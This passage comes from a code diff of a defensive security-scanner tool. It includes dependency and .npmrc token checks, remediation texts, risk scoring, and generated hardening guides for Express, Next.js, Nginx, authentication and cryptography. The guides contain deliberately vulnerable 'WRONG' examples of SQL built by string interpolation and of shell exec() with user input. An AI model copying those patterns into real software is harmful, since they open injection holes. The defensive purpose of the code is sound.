+ category: 'Dependencies',
1350
+ title: 'Missing Lock File',
1351
+ description: 'No package lock file found — builds are not reproducible and vulnerable to dependency confusion',
1352
+ file: relPath,
1353
+ line: 1,
1354
+ evidence: 'package.json without lock file',
1355
+ exploitation: 'Attacker publishes malicious package version that gets installed due to lack of version pinning',
1356
+ remediation: 'Run npm install to generate package-lock.json and commit it',
1357
+ });
1358
+ }
1359
+ }
1360
+ // Check for .npmrc with registry overrides
1361
+ const npmrcFiles = files.filter(f => f.path.endsWith('.npmrc'));
1362
+ for (const file of npmrcFiles) {
1363
+ const relPath = relative(baseDir, file.path);
1364
+ if (file.content.includes('registry=') && !file.content.includes('registry=https://registry.npmjs.org')) {
1365
+ findings.push({
1366
+ id: `DEP-${++findingId}`,
1367
+ severity: 'medium',
1368
+ category: 'Dependencies',
1369
+ title: 'Custom npm Registry',
1370
+ description: 'Custom npm registry configured — verify it is trusted and uses HTTPS',
1371
+ file: relPath,
1372
+ line: 1,
1373
+ evidence: file.lines.find(l => l.includes('registry='))?.trim() || '',
1374
+ exploitation: 'Attacker compromises custom registry to serve malicious packages',
1375
+ remediation: 'Ensure registry uses HTTPS and is a trusted source',
1376
+ });
1377
+ }
1378
+ // Check for auth tokens in .npmrc
1379
+ if (file.content.includes('_authToken') || file.content.includes('_auth=')) {
1380
+ findings.push({
1381
+ id: `DEP-${++findingId}`,
1382
+ severity: 'high',
1383
+ category: 'Dependencies',
1384
+ title: 'npm Auth Token in File',
1385
+ description: 'npm authentication token found in .npmrc — should use environment variable',
1386
+ file: relPath,
1387
+ line: file.lines.findIndex(l => l.includes('_authToken') || l.includes('_auth=')) + 1,
1388
+ evidence: '[auth token masked]',
1389
+ exploitation: 'Attacker uses leaked npm token to publish malicious versions of your packages',
1390
+ cwe: 'CWE-798',
1391
+ remediation: 'Use NPM_TOKEN environment variable instead of hardcoding in .npmrc',
1392
+ });
1393
+ }
1394
+ }
1395
+ return findings;
1396
+ }
1397
+ // ── Helper Functions ───────────────────────────────────────────────────────────
1398
+ function lowerSeverity(severity) {
1399
+ switch (severity) {
1400
+ case 'critical': return 'high';
1401
+ case 'high': return 'medium';
1402
+ case 'medium': return 'low';
1403
+ default: return severity;
1404
+ }
1405
+ }
1406
+ function getInjectionRemediation(category) {
1407
+ switch (category) {
1408
+ case 'SQL Injection':
1409
+ return 'Use parameterized queries / prepared statements. Never concatenate user input into SQL strings. Use an ORM like Prisma, Drizzle, or Sequelize.';
1410
+ case 'NoSQL Injection':
1411
+ return 'Validate and sanitize all query parameters. Use schema validation (zod/joi). Never pass raw user input to MongoDB operators.';
1412
+ case 'XSS':
1413
+ return 'Use framework auto-escaping (React JSX). Avoid innerHTML/dangerouslySetInnerHTML. Sanitize with DOMPurify if raw HTML is needed. Set Content-Security-Policy headers.';
1414
+ case 'Code Injection':
1415
+ return 'Remove eval() and Function() usage. Use JSON.parse for data parsing. Use safe alternatives for dynamic code (vm2 sandbox if absolutely needed).';
1416
+ case 'Command Injection':
1417
+ return 'Use execFile/execFileSync instead of exec (no shell interpretation). Validate and sanitize all arguments. Use a whitelist of allowed commands.';
1418
+ case 'Path Traversal':
1419
+ return 'Use path.resolve and verify the resolved path starts with the expected base directory. Never use user input directly in file paths. Use path.normalize and check for "..".';
1420
+ case 'SSRF':
1421
+ return 'Validate URLs against an allowlist. Block private IP ranges (10.x, 172.16-31.x, 192.168.x, 169.254.x). Disable redirect following or validate each redirect destination.';
1422
+ case 'Template Injection':
1423
+ return 'Never pass user input as template strings. Use template data context only. Enable sandbox mode in template engines.';
1424
+ case 'LDAP Injection':
1425
+ return 'Escape special characters in LDAP queries. Use parameterized LDAP searches. Validate input against expected patterns.';
1426
+ case 'Deserialization':
1427
+ return 'Use schema validation (zod) after parsing. Avoid unsafe deserializers (pickle, yaml.load). Use yaml.safe_load in Python.';
1428
+ case 'Prototype Pollution':
1429
+ return 'Freeze Object.prototype. Use Object.create(null) for dictionaries. Validate keys against __proto__ and constructor. Use Map instead of plain objects.';
1430
+ case 'XXE':
1431
+ return 'Disable external entity processing in XML parser. Use defusedxml in Python. Set parser features to disallow DTDs.';
1432
+ case 'Open Redirect':
1433
+ return 'Validate redirect URLs against an allowlist of domains. Use relative paths only. Check URL hostname after parsing.';
1434
+ case 'Header Injection':
1435
+ return 'Validate header values. Strip CR/LF characters. Use framework-provided header methods that auto-escape.';
1436
+ case 'ReDoS':
1437
+ return 'Never construct regexes from user input. Use RE2 for user-provided patterns. Set regex execution timeouts. Use non-backtracking engines.';
1438
+ default:
1439
+ return 'Validate and sanitize all user input. Apply defense in depth.';
1440
+ }
1441
+ }
1442
+ function getAuthRemediation(name) {
1443
+ switch (name) {
1444
+ case 'Hardcoded JWT Secret':
1445
+ case 'Weak JWT Secret':
1446
+ return 'Use a strong, random JWT secret from environment variables. Generate with: node -e "console.log(require(\'crypto\').randomBytes(64).toString(\'hex\'))"';
1447
+ case 'JWT None Algorithm':
1448
+ return 'Explicitly specify allowed algorithms in jwt.verify: { algorithms: ["HS256"] }. Never include "none".';
1449
+ case 'Missing Auth Middleware (Express)':
1450
+ return 'Add authentication middleware before route handlers. Use passport.js, express-jwt, or custom auth middleware.';
1451
+ case 'Missing Rate Limiting':
1452
+ return 'Add express-rate-limit to auth endpoints. Example: rateLimit({ windowMs: 15*60*1000, max: 5 })';
1453
+ case 'Insecure Cookie (no httpOnly)':
1454
+ return 'Set httpOnly: true on all session/auth cookies to prevent JavaScript access.';
1455
+ case 'Insecure Cookie (no secure flag)':
1456
+ return 'Set secure: true on all cookies to ensure HTTPS-only transmission.';
1457
+ case 'Session Fixation':
1458
+ return 'Regenerate session ID after authentication. Use req.session.regenerate() in Express.';
1459
+ case 'Missing CSRF Protection':
1460
+ return 'Add CSRF middleware (csurf for Express). Use SameSite=Strict cookies. Validate Origin header.';
1461
+ case 'Weak Password Validation':
1462
+ return 'Require minimum 12 characters, mix of upper/lower/numbers/symbols. Use zxcvbn for strength estimation.';
1463
+ default:
1464
+ return 'Follow OWASP authentication best practices. Implement defense in depth.';
1465
+ }
1466
+ }
1467
+ function getCryptoRemediation(name) {
1468
+ switch (name) {
1469
+ case 'MD5 for Password Hashing':
1470
+ case 'SHA1 for Password Hashing':
1471
+ case 'No Salt in Hashing':
1472
+ return 'Use bcrypt (cost >= 12), scrypt, or argon2id for password hashing. These include salt and are intentionally slow.';
1473
+ case 'MD5 Usage (general)':
1474
+ case 'SHA1 Usage (general)':
1475
+ return 'Use SHA-256 or SHA-3 for general hashing. MD5/SHA1 are only acceptable for non-security checksums.';
1476
+ case 'ECB Mode':
1477
+ return 'Use AES-GCM (authenticated encryption) or AES-CBC with HMAC. Never use ECB mode.';
1478
+ case 'Hardcoded Encryption Key':
1479
+ case 'Hardcoded IV/Nonce':
1480
+ return 'Store keys in environment variables or a key management service (AWS KMS, HashiCorp Vault). Generate IVs randomly for each encryption.';
1481
+ case 'Math.random() for Security':
1482
+ case 'Math.random() General':
1483
+ return 'Use crypto.randomBytes() or crypto.getRandomValues() for security-sensitive random values.';
1484
+ case 'Weak Key Size':
1485
+ return 'Use minimum 2048-bit RSA keys (4096 recommended). Use 256-bit keys for symmetric encryption.';
1486
+ case 'DES/3DES Usage':
1487
+ case 'RC4 Usage':
1488
+ return 'Migrate to AES-256-GCM. DES, 3DES, and RC4 are cryptographically broken.';
1489
+ case 'Deprecated createCipher':
1490
+ return 'Use crypto.createCipheriv() with AES-256-GCM and a random IV.';
1491
+ case 'Bcrypt Low Rounds':
1492
+ return 'Increase bcrypt salt rounds to at least 12 (recommended: 12-14). Balance security vs. performance.';
1493
+ default:
1494
+ return 'Follow NIST cryptographic guidelines. Use well-tested libraries, not custom implementations.';
1495
+ }
1496
+ }
1497
+ function getConfigRemediation(name) {
1498
+ switch (name) {
1499
+ case 'Debug Mode Enabled':
1500
+ return 'Disable debug mode in production. Use NODE_ENV=production. Remove debug flags from deployment configs.';
1501
+ case 'CORS Wildcard':
1502
+ case 'CORS Credentials with Wildcard':
1503
+ return 'Specify exact allowed origins. Never use * with credentials. Validate Origin header server-side.';
1504
+ case 'Default Credentials':
1505
+ return 'Remove all default/test credentials. Use environment variables. Enforce credential rotation.';
1506
+ case 'Verbose Error Messages':
1507
+ case 'Stack Trace in Response':
1508
+ return 'Use generic error messages in production. Log detailed errors server-side only. Never send stack traces to clients.';
1509
+ case 'Insecure TLS Version':
1510
+ return 'Require TLS 1.2 minimum (TLS 1.3 preferred). Disable SSLv2, SSLv3, TLS 1.0, TLS 1.1.';
1511
+ case 'Disabled Security Feature':
1512
+ return 'Never disable SSL verification in production. If needed for development, ensure it is not deployed.';
1513
+ case 'Directory Listing Enabled':
1514
+ return 'Disable directory listing. Use explicit routes for file serving.';
1515
+ case 'Permissive File Upload':
1516
+ return 'Validate file types (check magic bytes, not just extension). Limit file size. Store outside webroot. Scan for malware.';
1517
+ default:
1518
+ return 'Review configuration against security best practices. Apply principle of least privilege.';
1519
+ }
1520
+ }
1521
+ // ── Report Formatting ──────────────────────────────────────────────────────────
1522
+ function formatFindings(findings) {
1523
+ if (findings.length === 0)
1524
+ return '_No findings in this category._\n';
1525
+ const lines = [];
1526
+ const sorted = findings.sort((a, b) => SEVERITY_SCORE[b.severity] - SEVERITY_SCORE[a.severity]);
1527
+ for (const f of sorted) {
1528
+ lines.push(`### ${f.id}: ${f.title}`);
1529
+ lines.push(`**Severity**: ${f.severity.toUpperCase()} | **Category**: ${f.category}${f.cwe ? ` | **CWE**: ${f.cwe}` : ''}`);
1530
+ lines.push(`**File**: \`${f.file}\` (line ${f.line})`);
1531
+ lines.push(`**Evidence**: \`${f.evidence.slice(0, 150)}\``);
1532
+ lines.push(`**Description**: ${f.description}`);
1533
+ lines.push(`**Exploitation**: ${f.exploitation}`);
1534
+ if (f.remediation) {
1535
+ lines.push(`**Remediation**: ${f.remediation}`);
1536
+ }
1537
+ lines.push('');
1538
+ }
1539
+ return lines.join('\n');
1540
+ }
1541
+ function calculateRiskScore(findings) {
1542
+ if (findings.length === 0)
1543
+ return 0;
1544
+ let score = 0;
1545
+ for (const f of findings) {
1546
+ score += SEVERITY_SCORE[f.severity] || 0;
1547
+ }
1548
+ // Normalize to 0-100 scale
1549
+ // A single critical = 10, normalize so 10 criticals = 100
1550
+ return Math.min(100, Math.round(score));
1551
+ }
1552
+ function riskGrade(score) {
1553
+ if (score === 0)
1554
+ return 'A+';
1555
+ if (score <= 5)
1556
+ return 'A';
1557
+ if (score <= 15)
1558
+ return 'B';
1559
+ if (score <= 30)
1560
+ return 'C';
1561
+ if (score <= 50)
1562
+ return 'D';
1563
+ return 'F';
1564
+ }
1565
+ function severityCounts(findings) {
1566
+ const counts = { critical: 0, high: 0, medium: 0, low: 0, info: 0 };
1567
+ for (const f of findings) {
1568
+ counts[f.severity] = (counts[f.severity] || 0) + 1;
1569
+ }
1570
+ return counts;
1571
+ }
1572
+ // ── Blue Team: Hardening Code Generators ───────────────────────────────────────
1573
+ function generateSecurityHeaders() {
1574
+ return `
1575
+ ## Security Headers Middleware
1576
+
1577
+ ### Express.js (using helmet)
1578
+
1579
+ \`\`\`typescript
1580
+ import helmet from 'helmet'
1581
+
1582
+ app.use(helmet({
1583
+ contentSecurityPolicy: {
1584
+ directives: {
1585
+ defaultSrc: ["'self'"],
1586
+ scriptSrc: ["'self'", "'strict-dynamic'"],
1587
+ styleSrc: ["'self'", "'unsafe-inline'"],
1588
+ imgSrc: ["'self'", "data:", "https:"],
1589
+ fontSrc: ["'self'"],
1590
+ objectSrc: ["'none'"],
1591
+ baseUri: ["'self'"],
1592
+ formAction: ["'self'"],
1593
+ frameAncestors: ["'none'"],
1594
+ upgradeInsecureRequests: [],
1595
+ },
1596
+ },
1597
+ crossOriginEmbedderPolicy: true,
1598
+ crossOriginOpenerPolicy: { policy: 'same-origin' },
1599
+ crossOriginResourcePolicy: { policy: 'same-origin' },
1600
+ dnsPrefetchControl: { allow: false },
1601
+ frameguard: { action: 'deny' },
1602
+ hsts: { maxAge: 31536000, includeSubDomains: true, preload: true },
1603
+ ieNoOpen: true,
1604
+ noSniff: true,
1605
+ originAgentCluster: true,
1606
+ permittedCrossDomainPolicies: { permittedPolicies: 'none' },
1607
+ referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
1608
+ xssFilter: true,
1609
+ }))
1610
+ \`\`\`
1611
+
1612
+ ### Fastify
1613
+
1614
+ \`\`\`typescript
1615
+ import fastifyHelmet from '@fastify/helmet'
1616
+
1617
+ await app.register(fastifyHelmet, {
1618
+ contentSecurityPolicy: {
1619
+ directives: {
1620
+ defaultSrc: ["'self'"],
1621
+ scriptSrc: ["'self'"],
1622
+ styleSrc: ["'self'", "'unsafe-inline'"],
1623
+ imgSrc: ["'self'", "data:"],
1624
+ },
1625
+ },
1626
+ hsts: { maxAge: 31536000, includeSubDomains: true },
1627
+ })
1628
+ \`\`\`
1629
+
1630
+ ### Next.js (next.config.js headers)
1631
+
1632
+ \`\`\`javascript
1633
+ const securityHeaders = [
1634
+ { key: 'X-DNS-Prefetch-Control', value: 'off' },
1635
+ { key: 'Strict-Transport-Security', value: 'max-age=31536000; includeSubDomains; preload' },
1636
+ { key: 'X-Frame-Options', value: 'DENY' },
1637
+ { key: 'X-Content-Type-Options', value: 'nosniff' },
1638
+ { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
1639
+ { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
1640
+ { key: 'X-XSS-Protection', value: '0' }, // Disabled in favor of CSP
1641
+ ]
1642
+
1643
+ module.exports = {
1644
+ async headers() {
1645
+ return [{ source: '/:path*', headers: securityHeaders }]
1646
+ },
1647
+ }
1648
+ \`\`\`
1649
+
1650
+ ### Nginx
1651
+
1652
+ \`\`\`nginx
1653
+ add_header X-Frame-Options "DENY" always;
1654
+ add_header X-Content-Type-Options "nosniff" always;
1655
+ add_header X-XSS-Protection "0" always;
1656
+ add_header Referrer-Policy "strict-origin-when-cross-origin" always;
1657
+ add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
1658
+ add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'" always;
1659
+ add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
1660
+ \`\`\`
1661
+ `;
1662
+ }
1663
+ function generateInputValidation() {
1664
+ return `
1665
+ ## Input Validation Patterns
1666
+
1667
+ ### Zod Schema Validation (TypeScript)
1668
+
1669
+ \`\`\`typescript
1670
+ import { z } from 'zod'
1671
+
1672
+ // Request validation schemas
1673
+ const createUserSchema = z.object({
1674
+ email: z.string().email().max(255),
1675
+ password: z.string().min(12).max(128)
1676
+ .regex(/[A-Z]/, 'Must contain uppercase letter')
1677
+ .regex(/[a-z]/, 'Must contain lowercase letter')
1678
+ .regex(/[0-9]/, 'Must contain number')
1679
+ .regex(/[^A-Za-z0-9]/, 'Must contain special character'),
1680
+ name: z.string().min(1).max(100).trim(),
1681
+ })
1682
+
1683
+ const paginationSchema = z.object({
1684
+ page: z.coerce.number().int().min(1).max(1000).default(1),
1685
+ limit: z.coerce.number().int().min(1).max(100).default(20),
1686
+ sort: z.enum(['created_at', 'updated_at', 'name']).default('created_at'),
1687
+ order: z.enum(['asc', 'desc']).default('desc'),
1688
+ })
1689
+
1690
+ // Express middleware
1691
+ function validate<T extends z.ZodType>(schema: T) {
1692
+ return (req: Request, res: Response, next: NextFunction) => {
1693
+ const result = schema.safeParse(req.body)
1694
+ if (!result.success) {
1695
+ return res.status(400).json({
1696
+ error: 'Validation failed',
1697
+ details: result.error.issues.map(i => ({
1698
+ field: i.path.join('.'),
1699
+ message: i.message,
1700
+ })),
1701
+ })
1702
+ }
1703
+ req.body = result.data
1704
+ next()
1705
+ }
1706
+ }
1707
+
1708
+ app.post('/api/users', validate(createUserSchema), createUserHandler)
1709
+ \`\`\`
1710
+
1711
+ ### Parameterized SQL Queries
1712
+
1713
+ \`\`\`typescript
1714
+ // WRONG — SQL injection
1715
+ const result = await db.query(\`SELECT * FROM users WHERE id = \${userId}\`)
1716
+
1717
+ // CORRECT — parameterized
1718
+ const result = await db.query('SELECT * FROM users WHERE id = $1', [userId])
1719
+
1720
+ // CORRECT — using Prisma (automatically parameterized)
1721
+ const user = await prisma.user.findUnique({ where: { id: userId } })
1722
+
1723
+ // CORRECT — using Drizzle
1724
+ const user = await db.select().from(users).where(eq(users.id, userId))
1725
+
1726
+ // CORRECT — using Knex
1727
+ const user = await knex('users').where('id', userId).first()
1728
+ \`\`\`
1729
+
1730
+ ### Path Traversal Prevention
1731
+
1732
+ \`\`\`typescript
1733
+ import { resolve, relative } from 'path'
1734
+
1735
+ function safePath(baseDir: string, userPath: string): string {
1736
+ const resolved = resolve(baseDir, userPath)
1737
+ const rel = relative(baseDir, resolved)
1738
+
1739
+ // Ensure resolved path is within base directory
1740
+ if (rel.startsWith('..') || resolve(resolved) !== resolved) {
1741
+ throw new Error('Path traversal attempt detected')
1742
+ }
1743
+
1744
+ return resolved
1745
+ }
1746
+
1747
+ // Usage
1748
+ const filePath = safePath('/uploads', req.params.filename)
1749
+ const content = readFileSync(filePath)
1750
+ \`\`\`
1751
+
1752
+ ### XSS Prevention
1753
+
1754
+ \`\`\`typescript
1755
+ import DOMPurify from 'dompurify'
1756
+
1757
+ // Sanitize HTML input
1758
+ function sanitizeHtml(dirty: string): string {
1759
+ return DOMPurify.sanitize(dirty, {
1760
+ ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
1761
+ ALLOWED_ATTR: ['href', 'title'],
1762
+ ALLOW_DATA_ATTR: false,
1763
+ })
1764
+ }
1765
+
1766
+ // React: avoid dangerouslySetInnerHTML
1767
+ // If you must use it:
1768
+ <div dangerouslySetInnerHTML={{ __html: sanitizeHtml(userContent) }} />
1769
+
1770
+ // Better: use a markdown renderer with sanitization
1771
+ import ReactMarkdown from 'react-markdown'
1772
+ <ReactMarkdown>{userContent}</ReactMarkdown>
1773
+ \`\`\`
1774
+
1775
+ ### Command Injection Prevention
1776
+
1777
+ \`\`\`typescript
1778
+ import { execFile } from 'child_process'
1779
+
1780
+ // WRONG — command injection via exec
1781
+ exec(\`convert \${userFilename} output.png\`)
1782
+
1783
+ // CORRECT — execFile (no shell interpretation)
1784
+ execFile('convert', [userFilename, 'output.png'], (error, stdout) => {
1785
+ // safe: arguments are passed as array, not through shell
1786
+ })
1787
+
1788
+ // CORRECT — validate arguments
1789
+ const ALLOWED_FORMATS = ['png', 'jpg', 'gif', 'webp']
1790
+ if (!ALLOWED_FORMATS.includes(format)) {
1791
+ throw new Error('Invalid format')
1792
+ }
1793
+ \`\`\`
1794
+
1795
+ ### SSRF Prevention
1796
+
1797
+ \`\`\`typescript
1798
+ import { URL } from 'url'
1799
+ import { isIPv4 } from 'net'
1800
+
1801
+ function isPrivateIP(hostname: string): boolean {
1802
+ // Block private/internal IP ranges
1803
+ const privateRanges = [
1804
+ /^10\\./, /^172\\.(1[6-9]|2\\d|3[01])\\./, /^192\\.168\\./,
1805
+ /^127\\./, /^169\\.254\\./, /^0\\./, /^::1$/, /^fc00:/,
1806
+ /^fe80:/, /^localhost$/i,
1807
+ ]
1808
+ return privateRanges.some(r => r.test(hostname))
1809
+ }
1810
+
1811
+ function validateUrl(input: string): URL {
1812
+ const url = new URL(input)
1813
+ if (!['http:', 'https:'].includes(url.protocol)) {
1814
+ throw new Error('Only HTTP(S) protocols allowed')
1815
+ }
1816
+ if (isPrivateIP(url.hostname)) {
1817
+ throw new Error('Internal URLs are not allowed')
1818
+ }
1819
+ return url
1820
+ }
1821
+ \`\`\`
1822
+ `;
1823
+ }
1824
+ function generateAuthHardening() {
1825
+ return `
1826
+ ## Authentication Hardening
1827
+
1828
+ ### Rate Limiting (Express)
1829
+
1830
+ \`\`\`typescript
1831
+ import rateLimit from 'express-rate-limit'
1832
+ import RedisStore from 'rate-limit-redis'
1833
+
1834
+ // Global rate limiter
1835
+ const globalLimiter = rateLimit({
1836
+ windowMs: 15 * 60 * 1000, // 15 minutes
1837
+ max: 100,
1838
+ standardHeaders: true,
1839
+ legacyHeaders: false,
1840
+ message: { error: 'Too many requests, please try again later' },
1841
+ })
1842
+
1843
+ // Strict limiter for auth endpoints
1844
+ const authLimiter = rateLimit({
1845
+ windowMs: 15 * 60 * 1000,
1846
+ max: 5, // 5 attempts per 15 min
1847
+ standardHeaders: true,
1848
+ skipSuccessfulRequests: true,
1849
+ message: { error: 'Too many login attempts, please try again in 15 minutes' },
1850
+ // Use Redis for distributed rate limiting
1851
+ store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
1852
+ })
1853
+
1854
+ app.use('/api/', globalLimiter)
1855
+ app.post('/api/auth/login', authLimiter, loginHandler)
1856
+ app.post('/api/auth/register', authLimiter, registerHandler)
1857
+ app.post('/api/auth/reset-password', authLimiter, resetHandler)
1858
+ \`\`\`
1859
+
1860
+ ### CSRF Protection
1861
+
1862
+ \`\`\`typescript
1863
+ import csrf from 'csurf'
1864
+
1865
+ // Cookie-based CSRF (for traditional apps)
1866
+ app.use(csrf({ cookie: { httpOnly: true, secure: true, sameSite: 'strict' } }))
1867
+
1868
+ // For SPAs: Double-submit cookie pattern
1869
+ function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
1870
+ const csrfCookie = req.cookies['csrf-token']
1871
+ const csrfHeader = req.headers['x-csrf-token']
1872
+
1873
+ if (req.method !== 'GET' && csrfCookie !== csrfHeader) {
1874
+ return res.status(403).json({ error: 'CSRF validation failed' })
1875
+ }
1876
+ next()
1877
+ }
1878
+ \`\`\`
1879
+
1880
+ ### Secure Session Configuration
1881
+
1882
+ \`\`\`typescript
1883
+ import session from 'express-session'
1884
+ import RedisStore from 'connect-redis'
1885
+
1886
+ app.use(session({
1887
+ store: new RedisStore({ client: redisClient }),
1888
+ name: '__session', // Don't use default 'connect.sid'
1889
+ secret: process.env.SESSION_SECRET!,
1890
+ resave: false,
1891
+ saveUninitialized: false,
1892
+ rolling: true,
1893
+ cookie: {
1894
+ httpOnly: true,
1895
+ secure: process.env.NODE_ENV === 'production',
1896
+ sameSite: 'strict',
1897
+ maxAge: 24 * 60 * 60 * 1000, // 24 hours
1898
+ domain: process.env.COOKIE_DOMAIN,
1899
+ path: '/',
1900
+ },
1901
+ }))
1902
+
1903
+ // Regenerate session after login (prevent fixation)
1904
+ app.post('/api/auth/login', async (req, res) => {
1905
+ const user = await authenticateUser(req.body)
1906
+ if (!user) return res.status(401).json({ error: 'Invalid credentials' })
1907
+
1908
+ req.session.regenerate((err) => {
1909
+ if (err) return res.status(500).json({ error: 'Session error' })
1910
+ req.session.userId = user.id
1911
+ req.session.save(() => {
1912
+ res.json({ success: true })
1913
+ })
1914
+ })
1915
+ })
1916
+ \`\`\`
1917
+
1918
+ ### Password Hashing (Argon2)
1919
+
1920
+ \`\`\`typescript
1921
+ import argon2 from 'argon2'
1922
+
1923
+ async function hashPassword(password: string): Promise<string> {
1924
+ return argon2.hash(password, {
1925
+ type: argon2.argon2id, // Recommended variant
1926
+ memoryCost: 65536, // 64 MB
1927
+ timeCost: 3, // 3 iterations
1928
+ parallelism: 4, // 4 threads
1929
+ })
1930
+ }
1931
+
1932
+ async function verifyPassword(hash: string, password: string): Promise<boolean> {
1933
+ return argon2.verify(hash, password)
1934
+ }
1935
+
1936
+ // Alternative: bcrypt
1937
+ import bcrypt from 'bcrypt'
1938
+ const SALT_ROUNDS = 12
1939
+
1940
+ async function hashPasswordBcrypt(password: string): Promise<string> {
1941
+ return bcrypt.hash(password, SALT_ROUNDS)
1942
+ }
1943
+ \`\`\`
1944
+
1945
+ ### JWT Best Practices
1946
+
1947
+ \`\`\`typescript
1948
+ import jwt from 'jsonwebtoken'
1949
+
1950
+ const JWT_SECRET = process.env.JWT_SECRET! // 64+ bytes random
1951
+ const JWT_REFRESH_SECRET = process.env.JWT_REFRESH_SECRET!
1952
+
1953
+ function generateTokens(userId: string) {
1954
+ const accessToken = jwt.sign({ sub: userId, type: 'access' }, JWT_SECRET, {
1955
+ expiresIn: '15m',
1956
+ algorithm: 'HS256',
1957
+ issuer: 'your-app',
1958
+ audience: 'your-app',
1959
+ })
1960
+
1961
+ const refreshToken = jwt.sign({ sub: userId, type: 'refresh' }, JWT_REFRESH_SECRET, {
1962
+ expiresIn: '7d',
1963
+ algorithm: 'HS256',
1964
+ jwtid: crypto.randomUUID(), // Unique ID for revocation
1965
+ })
1966
+
1967
+ return { accessToken, refreshToken }
1968
+ }
1969
+
1970
+ function verifyToken(token: string): jwt.JwtPayload {
1971
+ return jwt.verify(token, JWT_SECRET, {
1972
+ algorithms: ['HS256'], // Prevent algorithm confusion
1973
+ issuer: 'your-app',
1974
+ audience: 'your-app',
1975
+ }) as jwt.JwtPayload
1976
+ }
1977
+ \`\`\`
1978
+ `;
1979
+ }
1980
+ function generateCryptoBestPractices() {
1981
+ return `
1982
+ ## Cryptography Best Practices
1983
+
1984
+ ### Symmetric Encryption (AES-256-GCM)
1985
+
1986
+ \`\`\`typescript
1987
+ import { createCipheriv, createDecipheriv, randomBytes } from 'crypto'
1988
+
1989
+ const ALGORITHM = 'aes-256-gcm'
1990
+ const KEY = Buffer.from(process.env.ENCRYPTION_KEY!, 'hex') // 32 bytes
1991
+
1992
+ function encrypt(plaintext: string): { ciphertext: string; iv: string; tag: string } {
1993
+ const iv = randomBytes(16) // Always random IV
1994
+ const cipher = createCipheriv(ALGORITHM, KEY, iv)
1995
+
1996
+ let ciphertext = cipher.update(plaintext, 'utf8', 'hex')
1997
+ ciphertext += cipher.final('hex')
1998
+
1999
+ const tag = cipher.getAuthTag().toString('hex')
2000
+
2001
+ return {
2002
+ ciphertext,
2003
+ iv: iv.toString('hex'),
2004
+ tag,
2005
+ }
2006
+ }
2007
+
2008
+ function decrypt(ciphertext: string, iv: string, tag: string): string {
2009
+ const decipher = createDecipheriv(ALGORITHM, KEY, Buffer.from(iv, 'hex'))
2010
+ decipher.setAuthTag(Buffer.from(tag, 'hex'))
2011
+
2012
+ let plaintext = decipher.update(ciphertext, 'hex', 'utf8')
2013
+ plaintext += decipher.final('utf8')
2014
+
2015
+ return plaintext
2016
+ }
2017
+ \`\`\`
2018
+
2019
+ ### Key Derivation (PBKDF2 / scrypt)
2020
+
2021
+ \`\`\`typescript
2022
+ import { scrypt, randomBytes } from 'crypto'
2023
+ import { promisify } from 'util'
2024
+
2025
+ const scryptAsync = promisify(scrypt)
2026
+
2027
+ async function deriveKey(password: string, salt?: Buffer): Promise<{ key: Buffer; salt: Buffer }> {
2028
+ const useSalt = salt || randomBytes(32)
2029
+ const key = await scryptAsync(password, useSalt, 32) as Buffer
2030
+ return { key, salt: useSalt }
2031
+ }
2032
+ \`\`\`
2033
+
2034
+ ### Secure Random Generation
2035
+
2036
+ \`\`\`typescript
2037
+ import { randomBytes, randomUUID } from 'crypto'
2038
+
2039
+ // Secure token generation
2040
+ function generateToken(length = 32): string {
2041
+ return randomBytes(length).toString('hex')
2042
+ }
2043
+
2044
+ // Secure session ID
2045
+ function generateSessionId(): string {
2046
+ return randomUUID()
2047
+ }
2048
+
2049
+ // WRONG — never use for security
2050
+ // Math.random().toString(36) // predictable!
2051
+ \`\`\`
2052
+
2053
+ ### Hash Comparison (Timing-Safe)
2054
+
2055
+ \`\`\`typescript
2056
+ import { timingSafeEqual, createHmac } from 'crypto'
2057
+
2058
+ function verifySignature(payload: string, signature: string, secret: string): boolean {
2059
+ const expected = createHmac('sha256', secret).update(payload).digest()
2060
+ const received = Buffer.from(signature, 'hex')
2061
+
2062
+ if (expected.length !== received.length) return false
2063
+ return timingSafeEqual(expected, received)
2064
+ }
2065
+ \`\`\`
2066
+ `;
2067
+ }
2068
+ function generateLoggingPatterns() {
2069
+ return `
2070
+ ## Security Logging & Monitoring
2071
+
2072
+ ### Structured Security Event Logging
2073
+
2074
+ \`\`\`typescript
2075
+ import { createLogger, format, transports } from 'winston'
2076
+
2077
+ const securityLogger = createLogger({
2078
+ level: 'info',
2079
+ format: format.combine(
2080
+ format.timestamp(),
2081
+ format.json(),
2082
+ ),
2083
+ defaultMeta: { service: 'security' },
2084
+ transports: [
2085
+ new transports.File({ filename: 'logs/security.log' }),
2086
+ new transports.File({ filename: 'logs/security-errors.log', level: 'error' }),
2087
+ ],
2088
+ })
2089
+
2090
+ // Security event types
2091
+ type SecurityEvent =
2092
+ | 'auth.login.success'
2093
+ | 'auth.login.failure'
2094
+ | 'auth.logout'
2095
+ | 'auth.password.change'
2096
+ | 'auth.password.reset'
2097
+ | 'auth.mfa.enable'
2098
+ | 'auth.mfa.verify.failure'
2099
+ | 'auth.session.expired'
2100
+ | 'auth.token.revoked'
2101
+ | 'access.denied'
2102
+ | 'access.privilege.escalation'
2103
+ | 'input.validation.failure'
2104
+ | 'rate.limit.exceeded'
2105
+ | 'csrf.validation.failure'
2106
+ | 'suspicious.activity'
2107
+
2108
+ interface SecurityLogEntry {
2109
+ event: SecurityEvent
2110
+ userId?: string
2111
+ ip: string
2112
+ userAgent: string
2113
+ resource?: string
2114
+ details?: Record<string, unknown>
2115
+ }
2116
+
2117
+ function logSecurityEvent(entry: SecurityLogEntry): void {
2118
+ securityLogger.info('security_event', {
2119
+ ...entry,
2120
+ timestamp: new Date().toISOString(),
2121
+ })
2122
+ }
2123
+
2124
+ // Usage examples
2125
+ logSecurityEvent({
2126
+ event: 'auth.login.failure',
2127
+ ip: req.ip,
2128
+ userAgent: req.headers['user-agent'] || 'unknown',
2129
+ details: { email: req.body.email, reason: 'invalid_password' },
2130
+ })
2131
+
2132
+ logSecurityEvent({
2133
+ event: 'rate.limit.exceeded',
2134
+ ip: req.ip,
2135
